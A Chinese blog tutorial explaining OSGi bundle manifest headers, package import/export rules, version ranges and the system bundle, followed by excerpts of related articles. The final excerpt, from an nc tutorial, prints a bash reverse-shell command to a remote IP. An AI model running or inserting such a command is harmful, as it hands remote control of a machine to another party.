OSGi 系列(三)之 bundle 详解

1. 什么是 bundle

bundle 是以 jar 包形式存在的一个模块化物理单元,里面包含了代码,资源文件和元数据(metadata),并且 jar 包的物理边界也同时是运行时逻辑模块的封装边界。

2. MANIFEST.MF 规范

  • 位置:META-NF/MANIFEST.MF

  • 文件格式

    1. 属性声明的一般格式是 name: value
    2. 一行不超过 72 个字符,下一行则由单个空格字符开始

3. bundle 常用标识符

标识符 说明
Bundle-Category 描述用逗号分隔的分类名称
Bundle-Activator 启动和停止 bundle 的类名称
Bundle-Classpath 定义用逗号分隔的路径,包含的内容有 JAR 文件和包含类和资源的目录(bundle内部) .点号代表 JAR 文件的根目录,同时也是默认的
Bundle-Copyright 描述 bundle 的版权信息
Bundle-Description 对 bundle 的描述信息
Bundle-Localization 描述 bundle 的本地文件地址,默认值是 OSGI-INF/l10n/bundle
Bundle-ManifestVers on
Bundle-Name 定义了一个具有可读性的名字来标识 bundle。应该是一个简短易读没有空格的名
bundle-SymbolicName (必须)提供了 bundle 的一个全局的惟一的标志符
Bundle-UpdateLocation 描述 bundle 的更新地址。bundle 需要更新,则使用这个地址进行更新。
Bundle-Vendor 描述 bundle 的发行者信息。
Bundle-Version 描述 bundle 的版本信息。默认值为0.0.0
DynamicImport-Package 包含了一个逗号分隔的动态导入包清单
Export-Package 导出包声明
Import-Package 声明 bundle 导入的包
Require-Bundle 指定 bundle 中需要其他 bundle 导出的内容

3.1 Bundle-SymbolicName

Bundle-SymbolicName(符号名称) 是唯一必须指定的。通过 bundle 的符号名称和版本号可以在框架中惟一的确定一个 bundle。也就是说,如果一个 bundle 和另外一个 bundle 有着同样的符号名称和版本号,那么这两个 bundle 就是等价的。

Bundle-Name 是给用户读的,而 Bundle-Symbolicname 是给 OSGi 框架读的,让 OSGi 框架能够唯一标识一个 bundle。

示例:

Bundle-SymbolicName: com.edu.osgi.hellowrod

3.2 Bundle-Version

格式:主版本号(Major) + 副版本号(Minor) + 微版本号(Micro) + 限定符串(Qualifier)

bundle-version: 1.0.0.bate1
  • 默认值为:0.0.0
  • 主版本号、副版本号、微版本号必须是数字
  • 限定字符串可以为空,默认为空
  • 版本号是可以进行比较的,比较是根据主版本号、小版本号、微版本号的顺序进行比较。最后是字符串的限定符比较。eg:1.0.0.2016213 > 1.0.0

3.3 Export-Package

标准的 jar 文件默认公开一切内容,而 bundles 默认不公开任何内容 OSGi 通过 Export-Package 公开内容

  • 可以导出多个包,多个用逗号隔开

  • 可以给导出包增加任何属性,以区分导出包

  • 导出的包 version 默认为 0.0.0

    Export-Package: com.edu.api
    Export-Package: com.edu.api;version="1.0.0"
    Export-Package: com.edu.api,com.edu.util;version="1.0.0"
  • 当导出一个包的时候,默认导出该包的所有类、接口。可以设置过滤条件:include 包含;exclude 排除

    Export-Package: com.edu.api;include:="*Service"
    Export-Package: com.edu.api;exclude:="*Impl"

3.4 Import-Package

OSGi 要求 bundle 显示声明对外部代码的依赖:

  • 不能导入 java.*

  • 导入一个包,不会导入它的子包

  • 通过增加属性导入特定的包

    Import-Package: com.edu.api
    Import-Package: com.edu.api;version="1.0.0"
  • Import-Package 版本过滤:

    语法 含义
    [min,max) min<=x<max
    [min,max] min<=x<=max
    (min,max] min<x<=max
    (min,max) min<x<max
    min min<=x
    [1.0.0,1.0.0] 精确指定一个版本
    Import-Package: com.edu.api;version="[1.0.0,2.0.0)"
    Import-Package: com.edu.api;version="1.0.0"
  • Import-Package 属性过滤:

    Import-Package: com.edu.api;type="apache"

    默认情况下 bundle2 虽然没有声明自定义属性 type,但在默认情况下这并不会产生匹配冲突。如果要改变这种情况,可以使用 mandatory 附加参数,强制要求必须存在扩展属性オ能成功匹配。

    # bundle1
    Import-Package: com.edu.api;type="1";mandatory:="type"
    # bundle2
    Export-Package: com.edu.api
    Export-Package: com.edu.api;type="1"

    注意: type 是属性;mandatory 是 OSGi 的指令,指令前必须加 ":"

  • Import-Package 可选导入:

    在大多数情况下,导入某个 Package,就说明当前这个 bundle 的正常运行是必须依赖导入的 Package 的。但还有另外一些场景导入某个 Package 是为了实现一些不影响 Bundle 正常运行的附加功能,比如 Apache thrift 里面会用到 httpclient。但是只是在特殊情況下才会用到,此时就不需要强行依赖 httpclient 了。

      # resolution 可选值 mandatory(默认) 和 optional
    Import-Package: com.edu.api;resolution:="optional"

3.5 DynamicImport-Package

定义需要动态导入的包。这部分定义没有在 bundle 解析过程中使用,而是在运行时动态解析并加载共享包。

动态导入和可选导入实现的功能有些类似,它们的共同特征是在 bundle 解析期间即使找不到要导入的依赖,也不会导致解析失败。它们的区别是,动态导入每次加载包中的类都会尝试去查找动态导入包,而可选导入包只有在 bundle 解析时才进行连接尝试

DynamicImport-Package: *
DynamicImport-Package: com.edu.*;type=1

不推荐使用,尽量用 Import-Package。

3.6 Bundle-Classpath

Bundle-Classpath 标记有默认值 ".",它代表该 bundle 的根目录,或者说代表该 Bundle 的 JAR 文件

  • 可以设置多个,多个用逗号隔开

  • 一旦定义了 Bundle-Classpath 就需要显示加入 "."

  • 按照声明的顺序搜索 bundle 类路径条目

    Bundle-Classpath: .,lib/xxx.jar

一般用于非 bundle 包的引用,不推荐使用,违反了 bundle 的使用原则。

4. 系统 bundle

  • 系统 bundle 的 bundle ID 为 0
  • 系统 bundle 的 getLocation() 返回的是字符串 "System Bundle"
  • BundleContex.getBundle(0) 或 BundleContex.get("SystemBundle") 方法中获取到系统 bundle 的对象实例
  • 系统 bundle 的启动级别固定为 0,且不能修改

5. bundle 依赖的常见错误

  1. java.lang.ClassNotFoundException

    bundle 没有导入相应的包,或有导入,但被 include/exclude 限制

  2. org.osgi.framework.BundleException: Unable to resolvecom.edu.osgi bank

    bundle 有导入,但没有其它的 bundle 导出该包

6. bundle 生成插件

6.1 maven-jar-plugin

<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-jar-plugin</artifactId>
<version>2.4</version>
<configuration>
<archive>
<manifestEntries>
<Bundle-ManifestVersion>2</Bundle-ManifestVersion>
<Bundle-SymbolicName>com.github.binarylei.demo-osgi</Bundle-SymbolicName>
<Bundle-Version>1.0.0</Bundle-Version>
<Import-Package>org.osgi.framework</Import-Package>
<Bundle-Activator>com.github.binarylei.HelloBundleActivator</Bundle-Activator>
</manifestEntries>
</archive>
</configuration>
</plugin>

6.2 maven-bundle-plugin

7. bundle 的生命周期

OSGi 系列(三)之 bundle 详解的更多相关文章

  1. Hexo系列(三) 常用命令详解

    Hexo 框架可以帮助我们快速创建一个属于自己的博客网站,熟悉 Hexo 框架提供的命令有利于我们管理博客 1.hexo init hexo init 命令用于初始化本地文件夹为网站的根目录 $ he ...

  2. elasticsearch系列三:索引详解(分词器、文档管理、路由详解(集群))

    一.分词器 1. 认识分词器  1.1 Analyzer   分析器 在ES中一个Analyzer 由下面三种组件组合而成: character filter :字符过滤器,对文本进行字符过滤处理,如 ...

  3. PE文件学习系列三-PE头详解

    合肥程序员群:49313181.    合肥实名程序员群:128131462 (不愿透露姓名和信息者勿加入) Q  Q:408365330     E-Mail:egojit@qq.com 最近比较忙 ...

  4. Android——Android Bundle详解(转)

    Android Bundle详解 1 Bundle介绍 Bundle主要用于传递数据:它保存的数据,是以key-value(键值对)的形式存在的. 我们经常使用Bundle在Activity之间传递数 ...

  5. ASP.NET MVC深入浅出系列(持续更新) ORM系列之Entity FrameWork详解(持续更新) 第十六节:语法总结(3)(C#6.0和C#7.0新语法) 第三节:深度剖析各类数据结构(Array、List、Queue、Stack)及线程安全问题和yeild关键字 各种通讯连接方式 设计模式篇 第十二节: 总结Quartz.Net几种部署模式(IIS、Exe、服务部署【借

    ASP.NET MVC深入浅出系列(持续更新)   一. ASP.NET体系 从事.Net开发以来,最先接触的Web开发框架是Asp.Net WebForm,该框架高度封装,为了隐藏Http的无状态模 ...

  6. 【C/C++开发】C++11 并发指南三(std::mutex 详解)

    本系列文章主要介绍 C++11 并发编程,计划分为 9 章介绍 C++11 的并发和多线程编程,分别如下: C++11 并发指南一(C++11 多线程初探)(本章计划 1-2 篇,已完成 1 篇) C ...

  7. Spring第三天,详解Bean的生命周期,学会后让面试官无话可说!

    点击下方链接回顾往期 不要再说不会Spring了!Spring第一天,学会进大厂! Spring第二天,你必须知道容器注册组件的几种方式!学废它吊打面试官! 今天讲解Spring中Bean的生命周期. ...

  8. [转]hibernate三种状态详解

    本文来自 http://blog.sina.com.cn/u/2924525911 hibernate 三种状态详解 (2013-04-15 21:24:23) 转载▼   分类: hibernate ...

  9. 多表连接的三种方式详解 hash join、merge join、 nested loop

    在多表联合查询的时候,如果我们查看它的执行计划,就会发现里面有多表之间的连接方式.多表之间的连接有三种方式:Nested Loops,Hash Join 和 Sort Merge Join.具体适用哪 ...

随机推荐

  1. python 字符串与字节之间的相互转化

    1.将字符串转化成字节 b'fffff' bytes('ffff', encoding='utf-8') 'ffff'.encode('utf-8') 2.将字节转化成字符串 str(data, en ...

  2. python气象分析

    数据分析实例 -- 气象数据 一.实验介绍 本实验将对意大利北部沿海地区的气象数据进行分析与可视化.我们在实验过程中先会运用 Python 中matplotlib库的对数据进行图表化处理,然后调用 s ...

  3. OpenACC 计算规约时发现的小坑

    ▶ 使用 OpenACC 的 parallel 构件来计算规约,主要想说的是 win10 pgi 和 win10 WSL pgi 结果的不同和关于 for 循环的一个小坑 ● 正常的代码 #inclu ...

  4. forward与redirect的区别

    1.从地址栏显示来说forward是服务器请求资源,服务器直接访问目标地址的URL,把那个URL的响应内容读取过来,然后把这些内容再发给浏览器.浏览器根本不知道服务器发送的内容从哪里来的,所以它的地址 ...

  5. 网络软工个人作业4——Alpha阶段个人总结

    1.个人总结 (1) 类型 具体技能和面试问题 现在的回答 毕业时找工作 语言 拿手的语言 Java 软件实现 有没有在别人的代码基础上进行改进,你是怎么读懂别人的代码,你采取什么方法不影响原来的功能 ...

  6. leetcode455

    public class Solution { public int FindContentChildren(int[] g, int[] s) { var listg = g.OrderBy(x = ...

  7. Gson 解析教程

    Gson 是google解析Json的一个开源框架,同类的框架fastJson,JackJson等等 本人fastJson用了两年,也是从去年才开始接触Gson,希望下面的总结会对博友有用,至于Gso ...

  8. WinRAR命令行版本 rar.exe使用详解

    RAR 命令行语法~~~~~~~~~~~~~~ 语法 RAR.exe <命令>  [ -<开关> ]  <压缩文件>  [ <@列表文件...> ]   ...

  9. 了解innodb_support_xa(分布式事务)

    innodb_support_xa可以开关InnoDB的xa两段式事务提交.默认情况下,innodb_support_xa=true,支持xa两段式事务提交.此时MySQL首先要求innodb pre ...

  10. nc命令使用详解

    反弹shell方法: 反弹端:bash -i >&  /dev/tcp/10.0.0.1/8080 0>&1  或 bash -i &>  /dev/tcp/ ...